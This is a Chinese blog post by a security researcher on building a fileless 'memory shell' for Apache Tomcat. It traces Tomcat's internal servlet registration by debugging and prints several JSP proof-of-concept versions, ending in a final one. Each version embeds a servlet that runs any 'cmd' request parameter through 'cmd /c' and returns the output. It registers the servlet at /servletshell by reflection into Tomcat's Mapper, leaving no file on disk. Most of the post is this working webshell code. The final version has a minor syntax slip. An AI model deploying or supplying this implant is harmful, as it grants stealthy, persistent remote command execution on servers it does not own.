Tomcat内存马—servlet型
P1taya Lv3

前言

开学鸽了一段时间,现在重新把内存马拿起来

正文

servlet型的原理跟前面两种一样,也是想办法动态注册一个servlet。这里先编写一个servlet

打好断点,开始调试,看看在哪进行的实例化

调试发现,实例化是在DefaultInstanceManager#newInstance 中进行的,继续向前追踪 clazz 的来源

这里也就知道了上文中的 clazz 其实就是 StandardWrapper.servletClass ,再继续追踪来源的时候,我看到StandardWrapperValve 中的 context ,也就是 StandardContext 有一个 children 属性

直接眼前一亮,这里面存储了路由与wrapper的对应关系,那如果我们能将恶意的servlet添加进去是不是就可以实现动态注册servlet了,那么怎么才能将其添加进去呢。看到 StandardContext 有一个 addServlet 方法

不过并没有具体实现,但是我们在其子类ApplicationContext 中找到了实现流程

先判断状态,然后调用 createWrapper 方法去封装 servlet ,接着调用 addChild 方法将其添加到 children 中,那么我们是否能通过调用该方法实现servlet的动态注册呢,先试一下,简单写个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.Writer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
class Servletshell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd=req.getParameter("cmd");
if(cmd!=null){
InputStream in = Runtime.getRuntime().exec("cmd /c "+cmd).getInputStream();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
Writer writer=resp.getWriter();
writer.write(new String(baos.toByteArray()));
writer.flush();
}
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
%>

<%
//获取context
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//修改状态
Field state=Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);

//尝试注入
String servletName="servletShell";
String servletClass="servletShell.class";
Class serletC=Servletshell.class;
Method addServlet=Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredMethod("addServlet", String.class, Class.class);
//addServlet.setAccessible(true);
addServlet.invoke(applicationContext,servletName,serletC);
System.out.println(standardContext.findChildren());
%>

可以看到我们自定义的servlet已经插入到 children 里了,不过还有一个问题,这没有匹配的路由啊

所以我们还得想办法将路由对应到 servlet-name

可以看到有 addServletMapping 方法,试试看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.Writer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
class Servletshell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd=req.getParameter("cmd");
if(cmd!=null){
InputStream in = Runtime.getRuntime().exec("cmd /c "+cmd).getInputStream();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
Writer writer=resp.getWriter();
writer.write(new String(baos.toByteArray()));
writer.flush();
}
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
%>

<%
//获取context
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//修改状态
Field state=Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);

//尝试注入
String servletName="servletShell";
String urlpattern="/servletshell";
Class serletC=Servletshell.class;

Method addServlet=Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredMethod("addServlet", String.class, Class.class);
addServlet.invoke(applicationContext,servletName,serletC);

Method addServletMapping=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("addServletMapping", String.class, String.class);
addServletMapping.invoke(standardContext,urlpattern,servletName);

System.out.println(standardContext.findChildren());
%>

可以看到已经添加进去了,但是访问该路由却是503,并且正常页面也变成503了,猜测是破坏了内存中的结构之类的

不好意思,是我sb了,没把状态修改回来。只需要在后面添加如下代码

1
2
3
if(state!=null){
state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}

不过,访问变成了404

现在来分析一下为啥没有正常访问到,在 ApplicationFilterChain#`internalDoFilter 中调用 servlet service` 方法处打个断点

可以看到这里获取到的是 DefaultServlet ,而不是我们注入的 ServletShell ,我们现在就来追踪一下这个servlet的来源,该servlet是通过 setServlet 方法进行赋值的,在该方法处打个断点

ApplicationFilterFactor#createFilterChain方法中调用该方法进行赋值

继续往前追踪,在StandardWrapperValv#invoke可以看到

servlet是 wrapper.allocate 的返回值,跟进一下这个方法

简单看一下可知,这里是返回了 instance 属性的值,那么此时我们要继续追寻 instance 属性的来源,直接看一下 wrapper 是咋来的

跟进 getContainer

对应的赋值方法为 setContainer ,在那打个断点,然后没断下来,说明没有调用到该方法,然后看到上层的StandardContextValve#invoke

可以看到wrapper已经被赋值了,该 wrapper是从 request中获取的,那么我们又要继续追溯 request 对象的来源了,看到org.apache.catalina.connector.CoyoteAdapter#service

这里获取了 request 对象,然后在下面调用了postParseRequest 处理

跟进

这里算是一个关键地方,后面就是map方面的操作了

跟踪到这里,也就是org.apache.catalina.mappe.Mapper#internalMap的时候,发现了一个关键的属性 contextVersion

可以看到 contextVersion中的 exactWrappers 中存储了我们自定义的其他两个servlet的 wrapper ,但是我们动态注入进去的servlet却没有,这貌似也就解释了响应码是404的原因。那么如果我们能将需要注入的servlet的wrapper添加到这里面,就可以成功了呢?说干就干,先找一下有没有方法可以将wrapper插入进去,还真有一个 addWrapper 方法

要使用这个方法,我们就需要获取到 contextVersion ,还要创建一个自定义的 wrapper

先解决第一个问题 — 获取 contextVersion

无意之间看到了这么一行代码

然后去看了看 contextObjectToContextVersionMap

里面果然存储了 contextVersion ,那么我们也就可以通过这个属性获取到 contextVersion,那么现在的问题就变成了获取contextObjectToContextVersionMap ,只要我们获取到这个mapper对象,也就可以顺理成章的获取到这个属性。所以问题又变成了获取mapper对象,这时我们看到之前说的那个关键操作点

这里先获取到service属性在调用 getMapper 获取到 mapper 对象,那么我们现在就要想办法去获取到这个 StandardService ,后面调试了半天,到处追踪,终于看到了希望

可以看到在 ApplicationContext 中有 service 这个属性,而 ApplicationContext 我们已经能够获取到了,所以问题圆满解决。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//获取service属性
Field servicef=applicationContext.getClass().getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(applicationContext);

//获取mapper
Mapper mapper=service.getMapper();

//获取contextVersion
Field contextObjectToContextVersionMapf=mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");
contextObjectToContextVersionMapf.setAccessible(true);
ConcurrentHashMap contextObjectToContextVersionMap=(ConcurrentHashMap) contextObjectToContextVersionMapf.get(mapper);
Object contextVersion=contextObjectToContextVersionMap.get(standardContext);

//调用addWrapper方法
Class[] classes=mapper.getClass().getDeclaredClasses();
Class classt=classes[1];
Method addWrapper=mapper.getClass().getDeclaredMethod("addWrapper", classt, String.class, Wrapper.class, boolean.class, boolean.class);
addWrapper.setAccessible(true);
addWrapper.invoke(mapper,contextVersion,"/servletshell",shellWrapper,false,false);
System.out.println("ook");

继续看第二个问题 — 创建自定义 wrapper

StandardContext中,存在 createWrapper 方法,我们可以通过该方法来创建自定义的 wrapper

1
2
3
4
//创建自定义wrapper
StandardWrapper shellWrapper=(StandardWrapper) standardContext.createWrapper();
shellWrapper.setServlet(shell);
shellWrapper.setServletClass(shell.getClass().getName());

然后我们组合一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.Writer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="org.apache.catalina.core.StandardService" %>
<%@ page import="org.apache.catalina.mapper.Mapper" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
class Servletshell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd=req.getParameter("cmd");
if(cmd!=null){
InputStream in = Runtime.getRuntime().exec("cmd /c "+cmd).getInputStream();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
Writer writer=resp.getWriter();
writer.write(new String(baos.toByteArray()));
writer.flush();
}
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
%>

<%
//获取context
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//修改状态
Field state=Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);

//尝试注入
String servletName="ServletShell";
String urlpattern="/servletshell";
Class serletC=Servletshell.class;

Method addServlet=Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredMethod("addServlet", String.class, Class.class);
addServlet.invoke(applicationContext,servletName,serletC);

Method addServletMapping=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("addServletMapping", String.class, String.class);
addServletMapping.invoke(standardContext,urlpattern,servletName);

Servletshell shell=new Servletshell();
//创建自定义wrapper
StandardWrapper shellWrapper=(StandardWrapper) standardContext.createWrapper();
shellWrapper.setServlet(shell);
shellWrapper.setServletClass(shell.getClass().getName());
//shellWrapper.addMapping("/servletshell");

//获取service属性
Field servicef=applicationContext.getClass().getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(applicationContext);

//获取mapper
Mapper mapper=service.getMapper();

//获取contextVersion
Field contextObjectToContextVersionMapf=mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");
contextObjectToContextVersionMapf.setAccessible(true);
ConcurrentHashMap contextObjectToContextVersionMap=(ConcurrentHashMap) contextObjectToContextVersionMapf.get(mapper);
Object contextVersion=contextObjectToContextVersionMap.get(standardContext);

//调用addWrapper方法
Class[] classes=mapper.getClass().getDeclaredClasses();
Class classt=classes[1];
Method addWrapper=mapper.getClass().getDeclaredMethod("addWrapper", classt, String.class, Wrapper.class, boolean.class, boolean.class);
addWrapper.setAccessible(true);
addWrapper.invoke(mapper,contextVersion,"/servletshell",shellWrapper,false,false);
System.out.println("ook");

if(state!=null){
state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
%>

但是访问还是报500,看一下是否将wrapper正确添加了

可以看到确实将wrapper添加了进去,但是格式不太对,回去看了一下wrapper的属性,原来是没有设置 parent 属性

1
shellWrapper.setParent(standardContext);

添加这一行即可,修改后的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.Writer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="org.apache.catalina.core.StandardService" %>
<%@ page import="org.apache.catalina.mapper.Mapper" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
class Servletshell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd=req.getParameter("cmd");
if(cmd!=null){
InputStream in = Runtime.getRuntime().exec("cmd /c "+cmd).getInputStream();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
Writer writer=resp.getWriter();
writer.write(new String(baos.toByteArray()));
writer.flush();
}
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
%>

<%
//获取context
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//修改状态
Field state=Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);

//尝试注入
String servletName="ServletShell";
String urlpattern="/servletshell";
Class serletC=Servletshell.class;

Method addServlet=Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredMethod("addServlet", String.class, Class.class);
addServlet.invoke(applicationContext,servletName,serletC);

Method addServletMapping=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("addServletMapping", String.class, String.class);
addServletMapping.invoke(standardContext,urlpattern,servletName);

Servletshell shell=new Servletshell();
//创建自定义wrapper
StandardWrapper shellWrapper=(StandardWrapper) standardContext.createWrapper();
shellWrapper.setServlet(shell);
shellWrapper.setServletClass(shell.getClass().getName());
shellWrapper.setParent(standardContext);
//shellWrapper.addMapping("/servletshell");

//获取service属性
Field servicef=applicationContext.getClass().getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(applicationContext);

//获取mapper
Mapper mapper=service.getMapper();

//获取contextVersion
Field contextObjectToContextVersionMapf=mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");
contextObjectToContextVersionMapf.setAccessible(true);
ConcurrentHashMap contextObjectToContextVersionMap=(ConcurrentHashMap) contextObjectToContextVersionMapf.get(mapper);
Object contextVersion=contextObjectToContextVersionMap.get(standardContext);

//调用addWrapper方法
Class[] classes=mapper.getClass().getDeclaredClasses();
Class classt=classes[1];
Method addWrapper=mapper.getClass().getDeclaredMethod("addWrapper", classt, String.class, Wrapper.class, boolean.class, boolean.class);
addWrapper.setAccessible(true);
addWrapper.invoke(mapper,contextVersion,"/servletshell",shellWrapper,false,false);
System.out.println("ook");

if(state!=null){
state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
%>

成功注入

后面测试了一下,前面的 addservlet方法这些不需要执行就能成功,所以最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.Writer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="org.apache.catalina.core.StandardService" %>
<%@ page import="org.apache.catalina.mapper.Mapper" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
class Servletshell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd=req.getParameter("cmd");
if(cmd!=null){
InputStream in = Runtime.getRuntime().exec("cmd /c "+cmd).getInputStream();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
Writer writer=resp.getWriter();
writer.write(new String(baos.toByteArray()));
writer.flush();
}
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
%>

<%
//获取context
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//创建自定义wrapper
Servletshell shell=new Servletshell()
StandardWrapper shellWrapper=(StandardWrapper) standardContext.createWrapper();
shellWrapper.setServlet(shell);
shellWrapper.setServletClass(shell.getClass().getName());
shellWrapper.setParent(standardContext);

//获取service属性
Field servicef=applicationContext.getClass().getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(applicationContext);

//获取mapper
Mapper mapper=service.getMapper();

//获取contextVersion
Field contextObjectToContextVersionMapf=mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");
contextObjectToContextVersionMapf.setAccessible(true);
ConcurrentHashMap contextObjectToContextVersionMap=(ConcurrentHashMap) contextObjectToContextVersionMapf.get(mapper);
Object contextVersion=contextObjectToContextVersionMap.get(standardContext);

//调用addWrapper方法
Class[] classes=mapper.getClass().getDeclaredClasses();
Class classt=classes[1];
Method addWrapper=mapper.getClass().getDeclaredMethod("addWrapper", classt, String.class, Wrapper.class, boolean.class, boolean.class);
addWrapper.setAccessible(true);
addWrapper.invoke(mapper,contextVersion,"/servletshell",shellWrapper,false,false);
%>

简短了很多

总结

在实现servlet内存马的过程中,没有像以前一样,完全照着资料做,大部分都是自己来调试,花的时间确实要多了一些,不过感觉这样的影响更深刻,还可以有一些自己的理解,感觉很好。不过因为许多是自己的理解,所以肯定会有错误的地方,希望各位师傅不吝赐教。

由 Hexo 驱动 & 主题 Keep
总字数 77.6k